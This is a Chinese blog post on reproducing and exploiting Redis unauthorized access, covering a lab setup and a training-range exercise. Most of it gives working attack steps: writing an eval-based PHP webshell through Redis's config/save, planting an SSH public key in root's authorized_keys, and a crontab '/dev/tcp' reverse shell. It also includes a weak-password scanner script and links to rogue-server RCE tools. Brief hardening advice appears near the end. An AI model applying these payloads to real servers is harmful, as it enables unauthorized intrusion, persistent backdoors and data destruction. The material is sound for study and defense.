Redis 未授权访问漏洞复现与利用

Elvis757
• 阅读 2131

一、漏洞简介以及危害:

1.什么是redis未授权访问漏洞:

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

2.漏洞的危害:

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

3.漏洞影响:

Redis 未授权访问漏洞复现与利用

根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:

Redis 未授权访问漏洞复现与利用

全球无验证可直接利用Redis TOP 10国家与地区:

Redis 未授权访问漏洞复现与利用

二、漏洞复现:

下载并安装测试用的Redis,本次采用的是Ubuntu镜像:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下载不下来的话:http://distfiles.macports.org/redis/)

Redis 未授权访问漏洞复现与利用

Redis 未授权访问漏洞复现与利用

解压安装包:tar xzf redis-2.8.17.tar.gz  
进入redis目录:cd redis-2.8.17  
安装:make

Redis 未授权访问漏洞复现与利用

Redis 未授权访问漏洞复现与利用

make结束后,进入src目录:cd src,  
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

Redis 未授权访问漏洞复现与利用

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

Redis 未授权访问漏洞复现与利用

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

Redis 未授权访问漏洞复现与利用

服务启动成功,我们克隆这台虚拟机

一台作为攻击机,一台作为靶机

攻击机IP:192.168.0.105

Redis 未授权访问漏洞复现与利用

靶机IP:192.168.0.104

Redis 未授权访问漏洞复现与利用

启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:

 Redis 未授权访问漏洞复现与利用

未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

Redis 未授权访问漏洞复现与利用

从登录的结果可以看出该redis服务对公网开放,且未启用认证。

0x01  利用redis写webshell

利用前提:

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证 2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

Redis 未授权访问漏洞复现与利用

注:

第三步写入webshell的时候,可以使用:

set x " <?php phpinfo();?> "

代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

shell写入完成,我们在靶机上来证明:

Redis 未授权访问漏洞复现与利用

成功写入shell。

当数据库过大时,redis写shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST["bmjoker"]);?>');
exit();
?>

0x02  利用"公私钥"认证获取root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务:redis-server /etc/redis.conf

在靶机中执行  mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

Redis 未授权访问漏洞复现与利用

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

Redis 未授权访问漏洞复现与利用

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

Redis 未授权访问漏洞复现与利用

远程登录靶机的redis服务:redis-cli -h 192.168.0.104 

并使用 CONFIG GET dir 命令得到redis备份的路径:

Redis 未授权访问漏洞复现与利用

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

Redis 未授权访问漏洞复现与利用

设置上传公钥的备份文件名字为authorized_keys:

Redis 未授权访问漏洞复现与利用

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

至此成功写入ssh公钥到靶机:

Redis 未授权访问漏洞复现与利用

在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104

Redis 未授权访问漏洞复现与利用

利用私钥成功登录redis服务器!!!

0x03 利用crontab反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行。

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

Redis 未授权访问漏洞复现与利用

攻击详情:

连接redis,写入反弹shell

redis-cli -h 192.168.0.104
set xxx "

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1

"

Redis 未授权访问漏洞复现与利用

config set dir /var/spool/cron
config set dbfilename root
save

Redis 未授权访问漏洞复现与利用

过一分钟左右就可以收到shell

Pyhton脚本自动化测试

可用来测试是否存在未授权或弱口令的情况:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO
")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s
" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

解决方案

1、比较安全的办法是采用绑定IP的方式来进行控制。

 请在redis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

2、设置密码,以提供远程登陆

打开redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。

命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted

这时候你可以用授权命令进行授权,就不报错了

命令如下:
auth youpassword

 -------------------------

于2018.11.23进行补充

Redis配置错误导致的远程代码漏洞溯源

在刷墨者学院的题时,发现了这个不错的题,通过这个题了解Redis在低权限下的渗透思路:

给出了IP:219.153.49.228   ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055

尝试用kali链接redis端口:

redis-cli -h 219.153.49.228 -p 48055

连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。

Redis 未授权访问漏洞复现与利用

由于服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:

Redis 未授权访问漏洞复现与利用

一波写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:

Redis 未授权访问漏洞复现与利用

成功写入,尝试用菜刀链接,获取flag:

Redis 未授权访问漏洞复现与利用

出现这样的问题还是权限控制的不足


于2019.10.9日补充

再网上收集两个比较方便的getshell python脚本

1.https://github.com/n0b0dyCN/redis-rogue-server

漏洞利用:

Redis 未授权访问漏洞复现与利用

2.https://github.com/Ridter/redis-rce

漏洞利用:

Redis 未授权访问漏洞复现与利用

反弹到其他服务器:

Redis 未授权访问漏洞复现与利用

点赞
收藏
评论区
推荐文章
警惕!GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。GitLab广泛应用于多个企业,该漏洞影响范围较广。2.事件详情在2
Stella981 Stella981
3年前
Redis主从复制getshell技巧
Redis未授权漏洞常见的漏洞利用方式:Windows下,绝对路径写webshell、写入启动项。Linux下,绝对路径写webshell、公私钥认证获取root权限 、利用contrab计划任务反弹shell。基于Redis主从复制的机制,可以完美无损的将文件同步到从节点。这就使得它可以轻易实现以上任何一
Stella981 Stella981
3年前
Hadoop Yarn REST API未授权漏洞利用挖矿分析
HadoopYarnRESTAPI未授权漏洞利用挖矿分析一、背景情况5月5日腾讯云安全曾针对攻击者利用HadoopYarn资源管理系统RESTAPI未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击
微步在线 微步在线
3年前
GitLab 严重漏洞在野被广泛利用,企业需立即自查
1.前言近日,微步在线旗下微步情报局利用捕获到GitLab未授权远程命令执行漏洞(CVE202122205)在野利用,攻击成功后攻击者会植入挖矿木马进行挖矿。该漏洞无需进行身份验证即可进利用,危害极大。GitLab是GitLabInc.开发用于代码仓库管理系统的开源项目。由于GitLab广泛应用于多个企业,该漏洞影响范围较广。公众号后台回
Wesley13 Wesley13
3年前
JN_0006:MongoDB未授权访问漏洞处理
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作而且可以远程访问数据库。2.【修复建议】:临时方案:配置AUTH,做好访问认证。打开MongoDB配置文件(.conf),设置为authtrue;修改访问端口和指定访问ip。使其只监听私有IP(或本地IP),不监听任何公
Stella981 Stella981
3年前
Redis未授权访问漏洞复现学习
0x00前言前段时间看到想复现学习一下,然后就忘了越临近考试越不想复习!在这里插入图片描述(https://oscimg.oschina.net/oscnet/ec73a943a3d9e18184946ee4c4ca290e14f.jpg)常见的未授权访问漏洞Redis未授权访问漏洞MongoDB未授权访问漏
Stella981 Stella981
3年前
Redis(三)
Redis相关配置ip地址的绑定(bind)默认情况下bind127.0.0.1只能接受本机的访问请求不写的情况下,无限制接受任何ip地址的访问生产环境环境肯定要写你应用服务器的地址如果开启了protectedmode,那么在没有设定bindip且没有设密码的情况下,Redis只允许接受本机的响应tc
天翼云Web应用防火墙(边缘云版)支持检测和拦截Apache Spark shell命令注入漏洞
尊敬的天翼云用户您好:近日,ApacheSpark出现shell命令注入漏洞,该漏洞危害较大且POC已公开。截至发文当前,天翼云Web应用防火墙(边缘云版)已监测并拦截到大量相关攻击,请相关用户尽快采取措施进行排查与防护。漏洞描述ApacheSpark是美国阿帕奇(Apache)软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎,如果A
liam liam
1年前
一文读懂 Swagger API 未授权访问漏洞及解决方案
是一个用于设计、构建、文档化和使用风格的Web服务的开源软件框架。它通过提供一个交互式文档页面,让开发者可以更方便地查看和测试API接口。然而,在一些情况下,未经授权的访问可能会导致安全漏洞。本文将介绍如何解决SwaggerAPI未授权访问漏洞问题。未授权
Elvis757
Elvis757
Lv1
不堪肠断思乡处,红槿花中越鸟啼。
文章
2
粉丝
0
获赞
0